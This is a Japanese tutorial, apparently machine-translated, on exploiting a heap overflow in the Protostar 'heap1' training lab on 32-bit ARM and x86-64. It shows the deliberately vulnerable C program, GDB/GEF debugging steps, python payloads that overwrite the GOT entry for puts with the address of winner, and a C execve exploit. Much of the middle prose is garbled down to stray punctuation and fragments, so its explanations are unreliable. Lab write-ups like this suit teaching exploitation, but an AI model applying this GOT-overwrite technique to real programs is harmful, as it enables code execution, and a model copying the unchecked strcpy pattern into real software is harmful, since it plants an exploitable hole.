初心者向けのLinuxヒープオーバーフロー

このチュートリアルは初心者向けですが、読者がすでにglibcのmalloc 関数基本に精通していることを前提としています 32ビットのRaspberryPI / ARM1176の例を使用して Linuxで ヒープオーバーフローを悪用する方法を詳しく見てみ ましょうまた、x86-x64 システムでの操作の微妙な違いのいくつかを分析し ます。このために、GDB  +  GEFツールを使用します  





Protostarラボタスク、つまり このタスクから借用した脆弱なコードに直接進みましょう 





#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
      
      



コードについて簡単に説明します。 





  • 構造が作成され i1, i2, i3



    ます。 





  • プログラムが起動すると、2つの引数が渡され i1->name



     、i2->name



    それぞれポインタとの アドレスにコピーされます。  





  • そして最後に、「そしてそれはラップの人々です!」というメッセージ です。..。





仕事

関数を呼び出します winner



。 





決定

まず、コードをコンパイルしましょう。





gcc -o heap1 heap1.c
      
      



  • 関数を呼び出すには、 winner



    そのアドレスを取得して、関数のアドレスを含むポインターに書き込む必要があります printf 



    。 





  • これを行うには、ポインタをオーバーフローさせi1->name



     、i2->name



     アドレスを関数のアドレスで上書き  する必要 があります winner



    。 





  • ,   i1->name



      i2->name.



      





, . 





.





1

. GDB 





gdb -q heap1
      
      







disas main
      
      







b *0x000105
      
      







r AAAA BBBB
      
      



:





info proc map
      
      







x/120x 0x22000
      
      



(chunk). .





2

.





heap chunks
      
      



0x22160



,





heap chunk 0x22160
      
      



  • 16





  • 12  





  • 4





32 . 12 20 , . ( 64 32 + 24 + 8 = 64 , 40 )





24 (20 4 ):





./heap1 $(python3 -c 'print("A"*24+" "+"BBBB")')
      
      



 Segmentation fault. , . 





gdb ./heap1
disas main
      
      



 strcopy



,  0x000105e8









b *0x105e8
      
      







r $(python3 -c 'print("A"*24+" "+"BBBB")')
      
      



, :





 winner



, ,  printf



 (  puts



). 





x/i 0x103a0
      
      



 puts 



 GOT.  GEF  got



.   GOT . 





got
      
      



, ,  0x21018



.  winner



.





 winner



.





p winner
      
      



 0x10504



.





.  i2->name



  :





r $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")'
      
      



,  0x21018



   0x10504 <winner>



, .  nexti 



,   0x21018







 0x10504 <winner>



. :





./heap1 $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
      
      



,  bash  , , - (ignored null byte in input), , ,  winner



. .





 Linux   x86-x64.    GDB 10.1.90   ARM1176, Raspberry  GDB 8.2.1. , puts



,    .plt





disas main
      
      



:





x/i 0x555555555040
      
      



.  , .





 winner







p winner
      
      



 puts 0x555555558020 



,  x20,    ,  , ,  bash  . . ,  "$(...)"



, :





./heap1 "$(python -c 'print("A"*40+"\x20\x80\x55\x55\x55\x55"+" "+"\x75\x51\x55\x55\x55\x55")')"
      
      



. , , 8 -, .. 





\x20\x80\x55\x55\x55\x55\x00\x00





\x75\x51\x55\x55\x55\x55\x00\x00





しかし、ここでも問題が発生します。これは、コマンドシェルがヌルバイトを行の終わりとして扱い、エクスプロイトが機能しないためです。アドレスが正しく受信されません。





この問題を解決するには、C言語のexecve関数 使用できます 。 





エクスプロイトを作成します。





#include <stdio.h>
#include <unistd.h>
int main(void) 
{
  char* const argv[] = {"", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x80\x55\x55\x55\x55\x00\x00", "\x75\x51\x55\x55\x55\x55\x00\x00", 0 };
  if (execve("./heap1", argv, NULL) == -1)
    perror("Could not execve");
  return 1;
}
      
      



コードではすべてが明確だと思います。





コンパイルして実行する





gcc ./exploit.c -o exploit
gdb -q ./exploit
      
      



これで、エクスプロイトは正常に機能します。





それで全部です。ご清聴ありがとうございました。








All Articles